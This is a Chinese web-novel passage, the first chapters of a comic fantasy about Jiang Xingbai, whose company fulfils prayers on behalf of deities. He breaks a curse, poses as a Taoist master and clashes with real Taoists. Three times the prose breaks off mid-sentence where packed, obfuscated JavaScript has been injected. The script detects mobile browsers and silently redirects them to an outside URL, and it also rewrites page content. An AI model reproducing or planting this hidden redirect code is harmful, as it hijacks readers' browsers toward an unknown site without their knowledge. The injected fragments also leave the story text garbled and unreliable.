《就做神灵的打工人》 1. “鼎鼎”有名 犹记当年七月十八,就业大战骤然爆发。 那一天夕阳西下,江行白被神神秘秘地领到校长办公室,他连杀人埋尸剧情都想好,校长却像带人走进魔仙堡的小蓝一样对他说: “你实习快结束了吧,有没有兴趣换一份全新的工作?” 他整理手中打印好的文档,江行白离得不远,能隐约看清上面打印好的宋体字,好像是一份劳动合同。 那位曾经和颜悦色为他颁布校长奖学金的校长再次和颜悦色,面带笑容地对他说:“有人向我推荐了你,综合考虑之后,你确实很合适。” 江行白翻开合同,显眼地方标明他下家公司的名称——华夏神灵协助办事处。 他猛地合上合同,向小蓝、阿不校长看去,原来这真是带他进入魔法世界的。 但当时的江行白只以为自己误入传销现场。 那么现在,请向你们隆重介绍我们亲亲爱爱的公司,江行白鼓掌JPG—— 华夏神灵协助办事处也称华夏鼎鼎有限责任公司,以下简称公司。 顾名思义,这公司是帮助各路神灵处理事务的,主要就是各式各样的祷告。 毕竟当今神仙就业现状不好,内卷严重,从前不理信徒祷告最多被拉过去暴晒,现在却能直接下岗,但一山总比一山高,取之于信徒用之于信徒,神灵们想出个类似“外包”的体制,让人类帮助他们去处理愿望,并给他们一定的奖励。 江行白就是这“人类”中的一员。 江行白再次鼓掌JPG 【你在想什么,走神了?】 【我在想是如何被骗过来做这份工作的。】江行白蹲在墙角追忆,都已经过半夜,再过一会都要天亮了,他不睡觉,专门蹲点,这一切当然和现在的工作脱不开关系。 公司颁发的工作小助手,江行白将它取名为系统,它尽职尽责,无愧于它的名字:【别想了,公司对你不好吗,快看快看,他要出来了。】 只见夜色下,一名全身黑男子从屋子中走出来,手里拎着大麻袋子,向院子中央走去。 江行白在眼前挥了挥,他现在处于城中村的小院子里,这里人特少,路灯也少,他蹲在别人家的墙角,有点看不清。 【你好系统,给我加点夜视。】 公司别的都扣扣嗖嗖的,这点小的事情都是大方,视野被神明点亮,江行白眼前骤然亮起,亮如白昼。 他继续猥琐地蹲在墙角,观察面前人举动,蹲了半天,就为了这人。 这事还要从几天前说起,后台接到两任务,这两个任务有意思,一个是希望自己身体恢复,不要莫名其妙瘫痪:另一个愿望就比较恶毒了,希望竞争对手赶紧死亡。 到这里还不算什么,但江行白一看,这算一个任务,跨领域综合性的,瘫痪的那个就是被后面人咒的,所以这人不光向神灵许许愿望,还付之于实践。 十分有行动力。 但是江行白不同意,江行白不支持,下咒这种事情分批次完成,今天是最后一次,要是让他成功了,前面那位就真死了。 【你说他干这种事情是干嘛?】江行白半夜跟着他熬,实在是有些愤懑。 【这种事太损阴德,损人不利己。】 系统说话轻飘飘风凉凉的:【请先说“你好系统”来呼唤工作小助手,他又不知道损阴德,对方让他家公司资金链断裂,怀恨在心啦。】 全身黑衣、一看就要干坏事的人没停下过动作,从麻袋里掏出火盆和纸钱,还有不少金元宝,一看歪歪扭扭的成色,估计都是自己亲手叠的。 江行白明显对他有意见,得找点就挑刺:【金元宝折的这么差,也不怕对方会生气,还不去练练再下咒。】 被骂的人不知道,他情绪稳定,继续拿出一个旧物,看着像是一个盒子,估计是下咒的媒介,火盆被放在院子中央,纸钱和金元宝被放进去,他拿起火柴,点燃火,院子里第一次有了光亮。 江行白按兵不动,他在等黑衣人与下咒媒介产生联系的时候,只有在这一刻,才可以直接破坏二者的联系,让从前的咒法也彻底失效。 他不用等太久,黑衣人端庄地持起木盒子,口中振振有词,木盒子发出幽幽的绿光,像是里面的怨灵在共鸣。 系统声音终于高昂,眼看任务要完成,它心情也好,在江行白脑海里大喊道:【3、2、1,放!】 江行白应声而动,手里打火机一挥舞,连着的一堆火线被点燃,他不急不慢,从衣兜里掏出遥控器,在中间的按钮那么一按。 “起来!不愿做奴隶的人们!把我们的血肉——” 他感慨着说:【试了那么多种方式,还是社会主义最有效。】 “咻!啪!” “咻咻咻!啪啪啪!” 他继续感慨:【试了那么多次,还是烟花最有用。】 系统尖叫:【先别感慨你的工作经验了,快去抓人!】 江行白:【得令~】 他以50米冲刺的速度飞奔向前,在黑衣人还在迷茫的时候抄到他后面,拎起刚刚在地上捡到的砖头“嘭”地往他脑门上一拍。 “啪——嘭——” 夜色寂静,没了声音。 木盒子落在地上,没有幽幽绿光,拿着它的人也倒在地上。 江行白用脚戳戳地下的人,迟疑道:【他不会死了吧。】 但江行白终究不愿意怀疑自己的业务水平,再戳了两次,仔细看看有没有血液流出,终于放弃相信自己的业务水平,把人从地上拎起。 人像面条,流动式的摊在江行白臂弯之间,像是死了,重的不行,幸亏江行白被公司加强过身体素质,不然拎不动。 他颤颤巍巍地伸出手指,放在这人的鼻子下,还好,有呼吸。 系统迟来提示:【没死,快收拾案发现场,把这人搬回屋。】 【三、二、一,功德提取成功,恭喜你完成本次任务(1/2)……】 【快点快点,我要下班。】 【嗯呢。】江行白点头,先勉勉强强地将人搬进屋子,在他头上的伤口处做了一点简单的止血,再用他的衣服裹住他的脑袋,确保生命没有问题。 整理整理沾到血渍的手套,江行白斯斯文文地走出屋子,先从右侧兜里拿出黑色塑料袋,勤勤恳恳地将作案工具,小铁盆、纸钱、金元宝、还有下咒媒介木盒子收进去。 这可不是普通的黑色塑料袋,这是公司加强版plus版本黑色塑料袋,它是规则类武器,实力超强,可以隔绝各种超自然力量。 这种东西公司正式员工人人都用,塑料袋是江行白个人申请版,毕竟其他同行都比较喜欢整点高大上的外表,就江行白朴实无华,黑色塑料袋走天下。 将这些东西收好,剩下的像烟花和音箱,就都是自己的东西,江行白另拿一个塑料袋,用院子里的大笤帚扫扫,收垃圾般地收回了袋子。 他垫垫袋子重量,意满离:【走了,收工!】 ———————— 等江行白到自己家楼下,天才刚刚亮起,他打一辆出租车,在车上将烟花音箱还有出租车垃圾袋的费用一并上报,期待财务的报销。 虽然他多报了些钱,但这不算什么,算他打扫的辛苦费。 江行白下了车,向小区门口走几步,一、二、三—— “哎,小白,又去捡垃圾啦?” 小区门口的老大爷活力四射,一大早上就杵在象棋桌前和人打招呼,唯恐少见着一个人。 江行白毫不意外,低头看了看自己手中提着的两个黑色塑料袋,自动将这句话换为“哎,小白,又去处理尸体啦。”心情不错地与大爷回答:“是啊是啊,爷爷早上好!” 大爷相当慈祥,看起来对于江行白这名犯罪分子毫无芥蒂;“哎呦,这十里八街的年轻人,也就你最勤奋,起的最早,大爷看着实在是欣慰哦。” 江行白寻思你欣慰个啥,你又不是我老板,但嘴上还是说:“没办法嘛,我上的是夜班,也只能早点回家。” 应付完小区口情报组,江行白带着浓浓的社畜感回家了,系统的声音自动响起:【已为你回满体力,亲爱的宿主,您无需睡眠,即可拥有活力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962015|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四射的清晨。】 【哎,现在都是早晨了。】 系统不嘻嘻:【去睡觉,别管自动录音。】 【都回满体力了还能睡着吗,行行行,我去睡个回笼觉。】江行白抻着胳膊走进卧室,懒洋洋的。 一觉睡到中午时刻,江行□□神抖索地醒了,先打开灶台,打算给自己煮完面条填填肚子。 面条好煮,东西都是现成的,江行白没浪费时间,熟练地操纵手机,进入隐藏空间,打开了“鼎鼎”软件。 “鼎鼎”软件是江行白公司内部使用的办公软件,官方解释是鼎为祭祀之物,乃香火之所在,但江行白怎么看,怎么都觉得这名字的灵感来源于某款工作软件。 庆幸这APP中不需要上班打卡,也那么多乱七八糟的群聊,简洁得很,进去就是自己的工作栏,上面显示只有一个任务,完成了一半。 任务报告和进度系统会直接汇报,不需要江行白来做。 江行白随手一滑,到了接取任务的界面,这个界面颇为花花绿绿,有不同神灵的任务,像什么主流的佛啊仙啊都有,但更多的却是锦鲤和财神,哦对,还有孔子。 再仔细一看,就能发现一些甚至算得上奇葩的神仙,像什么“数学老师”“英语老师”甚至还有“薛Z谦” 什么玩意?江行白定睛一看,看见了一个来自于大学生的哀嚎:“啊啊啊啊希望雨神来我们学校开演唱会,我我我不不不不不想上晚自习!” 江行白被这一行字吵到眼睛,深感其精神状态的良好,颇有当代青年人之风范,但有一说一,能够进任务栏的愿望,要不是信仰虔诚,要不就上辈子是有功德之人,再不济也要像今儿半夜收得那名黑衣男一样,愿望与大功德之人有联系。 对,大功德之人就是被诅咒的那人,神会保佑他。 江行白不知道这大学生是哪一类,也不愿意细究,随手一翻,又到了下一页,看看有没有什么顺手就能做的任务。 面条很快煮好了,江行白草草吃完,系统的声音忽然在他耳边响起:【您的鼎鼎有一条新的消息。】 【您的鼎鼎有两条新的消息。】 【你的鼎鼎——鼎鼎——鼎鼎——】 停,师父,不要再念了。 江行白至于止损,迅速拿起手机查看新的消息,但哪怕他没有打开软件,他也知道这是哪个人给他发的消息。 多半是公司与他关系好的同事,这人还有点别的头衔。 那是——他的答疑AI加好友加下铺的兄弟加疑似没破产的富二代。 如此多的头衔加起来,哪怕没什么亲厚的关系,也要具有十分亲厚的关系。 尤其是最后一条——没破产的富二代。 果不其然,是他。 “!!!你的考核过了吗?” 这是什么奇怪的标点,江行白腹诽,但他语气依旧装装的:“过了。” “怎么偏偏是你小子过了,我的任务实在太多了太难了,我要完不成了!” 江行白略一沉思,大发善心,反正这人会给不少钱:“你把任务栏发给我,我看看有没有什么能帮你做的。” 考核的任务只能自己完成,但日常分配的不一样,可以让知情人士帮忙。 这何尝不是外包加外包的组合体。 那边的回复很快来了,很长的一大串子,江行白看得眼皮直跳,不敢想这人平时有多惫懒。 他捂住跳动的眼皮,强撑着看下去,将任务的大致情况记在心里,回复道:“好,我都记下了,等有机会我帮你。” 江行白这句话刚发出去,信息就在不断地跳,将乱七八糟的消息一概忽略,江行白重新打开图片,目光落在任务栏上。 “这个愿望是……希望我的鸡不要再莫名其妙的死亡了?这都什么类型的任务。” 江行白叉掉图片,再敷衍他朋友几句,他这两天的任务还没完成,还剩二分之一。 他再挑起几根面条,心中规划日程,一会吧,就一会,等他吃完面条就去完成接下来的工作,跟那个被诅咒的倒霉孩子还愿。 2. 神奇的企业家 那当然是不可能的。 江行白瘫在床上,偶尔抽动几下,像是一具死了一半的尸体。 系统在他的脑海里一动不动,但疯狂尖啸:【急急急急急急!】 【爱情不是你想买,想买就能买~】 之前设置的闹钟出现了,很吵,非常吵。 系统又假装自己是手机铃声,江行白回头高低换个闹钟音乐,天天听这个ptsd都要出来。 他低沉地说:【你好系统,打开静音模式。】 系统不出声了。 系统不出声,手机又开始弹信息。 但江行白本人没有正经工作,手机设置十分个性,常年静音,来消息的时候只有屏幕是亮的。 而此时屏幕里正在疯狂跳出两个字—— “大师!”“大师!” 这是那位被下咒的人,是名老板,也是许愿的甲方,当初江行白用道士的身份来接近他,打探情况,把他忽悠的差点没在床上蹦三圈,再拜三拜。 如今江行白把下咒的人绳之以法,他终于有活力来叨扰江行白。 江行白从仰躺转换为侧躺,一只眼睛隐藏在被子里,一只眼睛紧紧盯着屏幕,像是要把手机盯出一个洞来,他只想躺着,不想见到甲方的脸。 他失败了,手机没有变成洞,而是变成一块会发光发消息的板砖,还不能给甲方砸出一个洞的那种。 不要再伤害甲方了!江行白猛地站起身,从床上诈尸而起,甲方是伟大的,甲方是可贵的,甲方给自己提供了一份工作,还大发慈悲,给了自己一份工资! 站起来!我的爱连着山海! 江行白将自己火热的脚放在冰凉的、没有地暖的地板,回想起自己的前世今生和美好的工作,立刻打开手机回复消息。 正好这时候,甲方给他弹了一条语音电话,江行白瞬间接起,声音从对面传来:“大师,大师,我真的好了,我立刻腰不疼了腿不酸了,心脏也不难受了,身上也不背东西了——” 江行白将手机从耳朵边移开,我知道你很激动,但你先别激动,没有音量预警就不要发出声波攻击了好吧。 他故作深沉地呵呵一笑,只道:“这都是正常的,昨日夜晚我已帮你驱除小鬼,今日下午我将上门拜访,你留出时间来随我还愿,才算因果两全。” 那边声音还是相当激动,但江行白有先见之明,提前捂好话筒,声音从指缝间瓮里翁气地传出:“那当然,那当然,我一定等你,你一定要来。” 这都给他都激动得语无伦次了。 挂断了语音电话,江行白难得思考了下,认为一个人本来以为自己得了绝症,已经要死了,又忽然乾坤扭转,有个人救了他,他也得激动成这样。 照这么想来,他做出什么行为都可以谅解。 不过话说回来,之前他不是说吃完早饭就出门的吗? 江行白重新躺回床上,可时间约的是下午,这不能算是他想躺的,既然约都已经约好,那他也只能照着做。 ———————— 下午三点。 江行白站在自己的衣柜前,衣柜上是一个大落地镜,镜子里是他美好的容颜。 这样的面容,怕是会太容易被误解为没经验的小生,实在不符合算命人沧桑的容颜。 哎,太过貌美也是一种罪过。 下一刻,他向系统说:【你好系统,算命人·镜子。】 公司说完成任务给工资,这工资当然不能只是金钱上的,虽然他金钱上的也给的不多,毕竟他们说“金钱生贪欲”,但帮神灵干活,总要有点玄幻的“工资”。 可惜这种“工资”看职称的,在职称不高的时候,有一次机会可以得到很好的玄幻技能,那就是实习生转正式工的升职大礼包。 正式工可以获得更加智能的工作系统,以及一样能力,这种能力每个人都不相同,可能与自身有一定关联,但通常很强力,江行白得到的这个就不错。 它被称为“·镜子”,就藏在江行白的眼睛里。 一旦江行白与人有大量的功德交换,就可以试图获得他们的身份,有一定失败的概率,但获取成功的话,就可以在镜子面前更换其对应的身份。 例如你一旦更换富豪的身份,面容就会发生改变,周围人也会自动认为你是个富豪,哪怕你兜里是一分钱都没有。 江行白的话刚刚说出,落地镜前,他的形象瞬间发生变化,皮肤褶皱增多,头发变少变得苍白,人都矮了几分。 那张脸更是,脸部轮廓瞬间变钝,不是化妆修容能改出来的效果,而是纯粹的整容,而且整容医生手艺不错。 江行白在镜子前浅浅摆了几个姿势,兀自欣赏自己的新皮肤,拿出一件含蓄的改良道袍,往身上一套。 等他到了甲方楼下,随意整理整理,摇身一变,就是一个富有身份和阅历的道士,上了龙虎山都有人问你,“道长,你在哪里高就?” 唯一不太满意的,就是这双眼睛,有道是眼睛是心灵的窗户,江行白气质再怎么变化,也没办法把灵魂也一起换了,他的眼睛还是铅灰色,噙着笑意,看着怪穿帮的。 【宿主可以戴一副眼镜呢。】 江行白一愣:【我不是把你静音了吗,怎么还能出声?】 不在一级任务状态的系统像个人机,它的完整体估计在休息,这个是AI自动接管模式。 【亲,您使用了能力,已自动进入二级任务状态,在此期间,我的权限比你大。】 江行白不敢回话,怕系统反过来把他禁言,但他忍了忍,终究没忍住:【我感觉算命先生瞎了都比近视合理。】 【那亲,你可以戴一副墨镜。】 江行白无言以对,干脆从手边的盒子里拿出一副合适的墨镜,往脸上一扣,说:【好,现在我是一个瞎子。】 虽说是瞎子,但江行白并不打算用什么导盲杖,那太不算命。 既然是算命先生,那周身有类似超声波式的探测工具,不过分吧。毕竟哪怕是在他背后发生的事情,也逃不过江行白的法眼。 而此时,探测工具·系统正在默默搜索路线,为江行白打车,顺便为他准备报销材料。 ……发票已经到手了,系统咔嚓截了屏,给自己留份备份,江行白整理好墨镜,走下楼,不早不晚,他刚走出小区门,一辆车就唰的一下停在他的面前。 他对系统说:【挺好,点赞。】 系统:【嘻嘻。】 他这次愿望的甲方,是一个富商。 说富商的话用词有点老旧,像上一个时代,更准确的称呼应该是企业家,一个优秀的,上辈子没过挂路灯的企业家。 江行白在脑海内调出甲方的资料,随意扫了一眼,精准地打开面前出租车的车门,他一心两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962016|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,没看见出租车司机对他肃然起敬的神情。 现在的盲人也太励志了吧,都这样了还要去行骗。 “哎——兄弟——” 车门再次打开,江行白将一车子的杂音落在后面,这司机实在是太能找话题了,一路上说这么多话都没想过喝一口水润润嗓子,实在是个人才。 江行白也是个人才,他抖抖衣襟,衣摆唰得一下落下,从改良道袍变成半改良道袍,再拿起手机打电话。 没过多久,不挂路灯的企业家从他多层豪华大庭院别墅走出,哦不,是从他的豪华的,不知道多少价格但一看就很高贵的豪车上下来。 别叫富商了,“豪”字这么多,叫豪商吧。 这位豪商有一个朴素又有年代的名字,他叫赵武,名字很好记。 江行白施施然向前走去,忽视随行司机诡异的眼神,给赵武一个大大的拥抱。 赵武有些迟疑:“……您的眼睛?” 江行白施施然一笑:“天机不可泄露。” “啊,那大师快快请进。”赵武连忙指使人拉开车门,将江行白请了进去。 ———————— 他的别墅不小,表面面积不小,内里更是另有乾坤,江行白被七请八请,终于进入所谓的神堂,也就是要还愿的场所。 赵武跟随他身后进入,还不忘问:“您是哪位仙人的弟子?” 江行白看着数不胜数的牌位和神像,陷入了沉思。 合着你连求的哪位神仙都不知道吗? 江行白十分无奈,只好道:“吕祖。” 他的愿望挂在吕洞宾的旗下,而那名黑衣男子的愿望却在观音菩萨的旗下,系统自动检测出这两者的愿望有极大的因果纠缠,就放在了一起,算是跨领域综合性工作。 愿望虽放在一起,黑衣男子的愿望却是不能实现,他的愿望害人,而赵武有大功德,愿望又只是让自己好起来。 赵武向前几步,带着江行白:“请跟我到这边来。” 他似乎是仗着江行白看不见,颇为肆无忌惮,走的是最直接的路线,从神像和牌位间穿梭过去,香火袅袅,江行白却只觉得不舒服。 他忍不住在脑海中问呼叫系统:【你看他供的是正神吗?】 系统已经清醒,强行上班:【有的是,有的不是,但哪怕是正神,也不能这样供,香火会变浑浊,也会相冲。】 江行白就算没修行,也很讨厌这样的环境,更何况是神仙:【这就是有大功德的人?】 【大功德算得是前世,又不是今世,他亏损的功德还没录入地府的系统中去,就还是大功德之人。】 【行吧,你们有自己的制度,这么多年,连个会实时变动的功德系统都没有。】 系统忍不住反驳:【你知道这世界上有多少灵魂吗,多大的数据库和运算量吗,你就敢这么……】 它话说完一半,江行白却已经不再听,他已经到了地方,墨镜之下的眼睛精准地望向吕洞宾的牌位,向赵武说:“你把祂供奉在这里?” 赵武一愣,他其实原本觉得多供奉几个神无伤大雅,甚至能称得上是多多益善,但江行白这么说,他还是有些心虚。 但江行白没提这些,只道:“祂实现了你的愿望,你应当为祂换一个居所,此处香火浑浊,地势又低,气息冗杂。” “但现在,你该还愿了。” 3. VR全新体验 江行白现在的身份是道士,道士手快,眨眼间三柱香被塞到赵武的手中,他被按着跪了下来,江行白没动,就站在他的身后。 他不用跪,哪有打工人跪老板的,老板应该自己上香让打工人上班,阿门。 但赵武始料未及:“等等,我可以自己来的,你不用按着我。” 江行白小幅度摇头:“拜你的。” 赵武无可奈何,只能被按着拜了三拜,江行白听着耳边系统的声音:【三、二、一,功德提取成功,恭喜你完成本次任务(2/2)……】 【已成功提取香火,具体请前往账户查看。】 江行白听电子音说完,小声道:【他的镜子可以提取吗?】 系统从冰冷的电子音变成不冰冷但没有感情的电子音:【进行相关检测,已达成功德契约,检测通过,将在后台为你提取,生成相关道具——镜子·企业家。】 【Yes!】江行白难得这么高兴,【我以后出门也是个有钱人啦。】 系统从后台的提取界面钻出来,方便它打击江行白:【……我想你应该清楚,你只是在别人的眼中成为一名企业家,而不是手中真的有上亿余额和公司。】 “那有什么关系。”江行白无所谓:【有钱不就是为了装的吗,我现在一步到位,直接就能装,有什么不好。】 吃香火的口袋精灵·系统对污秽的人类社会表示不解,并对它亲爱的宿主嗤之以鼻。 人一闲扯,就会忘了时间,江行白的手还搭在赵武的肩头,但他别说上香了,果盆都已经上完了,江行白还无知无觉地和人家走了两步。 “大师,还有什么要做的吗?”他小心翼翼地问。 【叮~已提取完毕,正在为您关闭后台。】 系统的声音适时响起,江行白刚要将手放下,忽然感觉不太对劲。 轰! 飞溅的石子朝着江行白的方向而来,墨镜被击碎,眼睛却被保护好。 而江行白刚要垂下的手顺着抛物线一扬,揪住赵武的衣领,把他从背后提了起来,江行白双脚狠狠一蹬,道士的轻功让他成功飞起,落到了一旁的神像上。 不好,吕洞宾炸了。 不是,吕洞宾怎么还能炸呢? 江行白瞪大双眼,随手扔掉墨镜,第一次如此深刻地怀疑自己的业务能力,这是让他老人家不满意到什么地步,才能自己给自己气炸。 赵武才是最怂的那一个,他也想不明白他是有多不诚心,才让仙人自爆东南方。 但时局容不得他们多加思考,两人甚至没来得及吱一声,脚下的神像再次震动。 系统:【警报!】 汽车撞墙你知道拐了,股票见涨你知道买了,现在提醒有什么用,江行白狼狈地将赵武和自己都扔出去,重重摔在地上。 赵武终于艰难地找到了发声系统:“这是……这是怎么回事?” 江行白不知道怎么回事,他右手一转,又重新将赵武的后衣领子纠正:“消防通道在哪里?” 赵武晕头转向,颤颤巍巍地用手指了一个方向。 江行白也不管自己应该看得见还是看不见,十分大不敬地踩在了在座各位老板的头上,用他们的神像和爆炸的余波当踏板,勉强飞到消防通道前。 而他的身后,神像无风自爆炸,爆炸的余波将碎片溅得四处飞起,原本繁杂的大厅和隔间瞬间变得清朗,一览无余。 江行白怀疑自己在被丧尸追杀,或者是误入什么好莱坞大片现场,才能奔跑得如此狼狈。 他的体力终究有限,这么一番下来,难免气喘吁吁,有点恼怒地将赵武扔在一旁:“你供奉这么多神像干嘛?” “祈——祈福——” 赵武虽然没做什么,但单是经历这些就已经耗尽体力,差点没瘫在地上,江行白推了他一下,厉声道:“赶紧走,这里又不安全,离你家远点。” 但可惜他们没走成,一层薄薄的金光屏障一视同仁地拦住所有生物,包括江行白和身边这个没什么用的人。 江行白试探性地触碰金光屏障,手被灼出一点伤口。 轻到差点听不见的脚步声响起,他只好转身,看向几位不速之客。 一共三个人,两名男子,一名女子,都是衣着简练,居中那名男子身量高些,手中拿着罗盘,看上去是这伙人的领头。 区区三人的小队还需要有个领头? 江行白摸不清他们的来历,但这些人打扰他的任务,让他无法轻易脱身,已经令他十分烦躁。 偏偏不速之客恶人先告状,没有打扰了别人任务的自觉,居左侧的男子率先开口,问江行白:“你是什么人,何门何派,有道士证吗?” 这话说的让人怀疑现在是不是现代社会,江行白没理他,他没有率先自爆家门的爱好,而是低声向赵武询问:“你认识他们吗,这里可是你家。” 但他家大门明显已经被打成筛子,谁都能进来耍耍,赵武根本管不着,他不说话,低着头。 江行白直觉不对劲,手一抖,赵武彻底瘫在地上。 居中那名男子忽然上前一步,手中的罗盘发出光芒,直指向赵武。 “在他身上。” 左侧刚向江行白问话的男子率先动手,从身后拿出一把精致小巧的桃木剑,直接向赵武的方向戳去。 江行白迅速后掠,避开此人的危险行为,跳到一旁看戏。 赵武原本像是已经昏死了,又忽然睁开眼,与江行白的眼睛不期而遇。 江行白脚尖一顿,冷汗都下来了,他的整双眼睛全是眼白,甚至还有清晰可见的红血丝,红的白的交织在一起,看起来甚为可怖。 江行白纵然是见过不少灵异事件,但这样邪气的,也是第一次见。 拿桃木剑的男子看起来丝毫不怕,甚至还有闲心喊了一声:“别想跑!” 气势很足,江行白评价,虽然他自动将这句话变为“妖怪,哪里跑!” 他悄悄后撤,不愿意在这时候掺和这事,左臂却忽然间被人抓住,是拿着罗盘的男子。 他抓住江行白的手臂,目不斜视地看着师弟和寄存于人身上的妖物打架,对江行白说:“你有道士证吗?” 江行白暗call系统:【我有道士证吗?】 系统用电子音很遗憾地回答:【对不起,你是坑蒙拐骗的假道士,没有。】 江行白只好很遗憾地向罗盘男子说:“对不起,我没有,可以补办吗?” 他说得这么耿直,不全是因为江行白傻,而是因为他有后台,他有公司。 他公司总不会让江行白莫名其妙地被拘留或者罚款,就算罚款也能报销,而江行白好不容易接触到真道士,不趁这个机会多了解了解,也太可惜了。 罗盘男子的目光在江行白身上逡巡不去,像是在掂量一块猪肉值不值价,最终什么都没说。 而对面几人的缠斗却已经有结果,木剑男子把剑当成锤子,直接向赵武的后脑勺砸下,赵武抽搐俩下,最终还是没扛过生物学,栽倒了下去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962017|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 木剑男子重新把剑当成剑,对准赵武的后脑勺,向同行而来的女子喊:“师妹,绳子!” 红绳被甩开,快速缠绕在赵武身上,绑得死紧,像是一头快被进贡的鹅。 “二师兄,可以啦!” 罗盘男子的头忽然偏向江行白:“戏看得过瘾吗?” 江行白还沉浸在电视剧一般的场景,VR无损版的,下意识回答:“挺过瘾的,想再看会。” “那你没有机会了。”男子将偏过去的头转回来,重新对准他的师弟师妹:“你们两人说个话,怎么非要和唱山歌一样——” 江行白很没礼貌地评价:“这样才有电视剧的感觉。” 全场目光向他看齐,江行白略微后退,才想起来这里没有他的舞台。 “别跑。”还是那个爱出风头的木剑男子,他把剑一甩,装装的,“早就看你不顺眼了,连道士证都没有,就敢帮人请神,教人供奉,你害人不浅!” 冤枉啊,江行白更想后退一步,他是正规的,有工作证的,通过华夏神灵部认证的正式员工。 他甚至连实习生都不是,为什么要受这样的污蔑。 江行白忍不了一点:“我没教人供奉,这满屋子的神像牌子都和我没关系,你们有什么证据,空口污蔑别人。” “你!”感叹号很多的木剑男子刚要拿出证据,他师兄却忽然制止。 “先出去吧,回头再说,我罗盘还没收。” 感叹号特别多的木剑男子拎住赵武身上的红线,“师兄,你收吧。” 江行白忽然想起刚刚与赵武对视的一眼,或许是刚刚达成的功德契约让他有莫名的第六感,“等等,先别收。” 没人听他的,他也来不及制止,金色屏障瞬间收起,江行白的尔康手无处着落。 四双眼睛再次向江行白看齐,江行白很想说别看他啊,看看被红线捆住的鹅啊,明明他更危险。 但也已经来不及了,捆住的鹅变成逃窜的鹅,一个黢黑的玩意咻得一下从红线挣脱。 “这是什么玩意?”木剑男子吓得拿桃木剑狠狠敲了一下这黢黑的玩意,扑了个空,眼看着它就要从消防通道逃窜。 他们几个可不知道蹲这玩意蹲了多久,要是真让它逃到外面,那就如泥牛入海,又不知道要祸害多少人。 女子的红线一下子甩开,想要缠住它,也失败了,黑影遁走得极快,她急得不行:“大师兄!” 罗盘男子,也就是大师兄立刻拿起罗盘,试图挽救残局,金色屏障在他前方张开,只好拦住黑影与消防通道,再快速伸展企图围绕黑影做一个圆,画地为牢。 但很可惜,前不久他还用罗盘画了很大的一片地盘,刚刚休息没多久,又赶鸭子上架地再次画圆,明显有些力不从心。 圆画的慢了,黑影从缝隙中逃窜,不小心碰到金光,被金光烧得有些焦,江行白甚至怀疑自己闻到了糊味。 惊觉自己变成糊味的黑影十分生气,整个黑影都炸毛了,变成很大的一片,气势汹汹地向罗盘男子扑来,它的目标极其明确,要卷走他手中的罗盘。 对面的师兄师妹发现自己的大师兄将要遭遇不测,急得团团转,什么手段都要用出来,可惜无济于事。 眼看黑影就要碰到罗盘,只差一点,可它却不动了,影子不断收缩,疯狂挣扎,像落进盘丝洞的蚊子。 罗盘男子一愣,转头向身边看去。 江行白徒手抓着黑影,饶有兴味地看着扑腾的黑影:“这玩意这么难抓吗?” 4. 假的。 全体目光又在向他看齐。 江行白已经习惯这些目光,罗盘男子的手还抓着他的手臂,他倒是不忘初心,什么情况都没松下,立志要将江行白拐送有关部门。 “松开,别抓着我,我拿个东西。”江行白挣了挣,罗盘男子可能是被他唬住了,顺势松手。 解脱的右手伸进道袍的口袋里,掏出一个黑色塑料袋,大街上随处可见的那种。 江行白一抖袋子,将塑料袋撑开,左手顺势将黑影扔进塑料袋中,别说,黑色配黑色,还挺相称。 罗盘男子盯着慢慢平息不动的黑色塑料袋,怀疑这是某种异空间的法宝。 难道男频男主终究是让他给当上了,下山带个师弟师妹都有这等奇遇,偶遇奇葩怪物,拼尽全力,无法战胜。 然后路过神奇大佬,不用拼尽,随便战胜。 那下一步是什么,木剑男子抖了三抖,难不成是这位道长说—— “小子,我看你与我有些缘分,这是我师门祖上传下来的法宝,神奇黑色塑料袋,有千年的年份。” “这便将他赠与你,看你已有师门,我便不与你师父抢人了,若是下次再有机会相遇,你我再诉缘分也不迟。” “你想什么呢?” 江行白好奇地探头,这人的冰山脸碎掉了,表情变幻莫测,能直接从脸上看出一场大戏。 罗盘男子抖了三抖,有种心里话被看穿的羞耻感,他一想起自己刚刚在想什么乌七八糟的玩意,就恨不得脚趾抠出三室一厅。 难得犯一次中二病,结果还被人给抓包了。 江行白打量片刻,实在是没点读心术的技能,他一抖塑料袋:“走吧,带我去你们老家。” ——————— 江行白提出要去他们的老家,主要是情之所至。 简单来讲就是,好奇心占领高地。 而因为他手握重要“人”质,黑色塑料袋,故而没像其他同行一样,直接进拘留所,而是给他留了几分薄面,和和气气地在会客厅相见。 但道观里的会客厅实在够寒酸的。 岑明辉,也就是罗盘男子,那名被师弟师妹称为大师兄的人,走进了会客厅,拿出一个红色塑料凳,坐到江行白的对面。 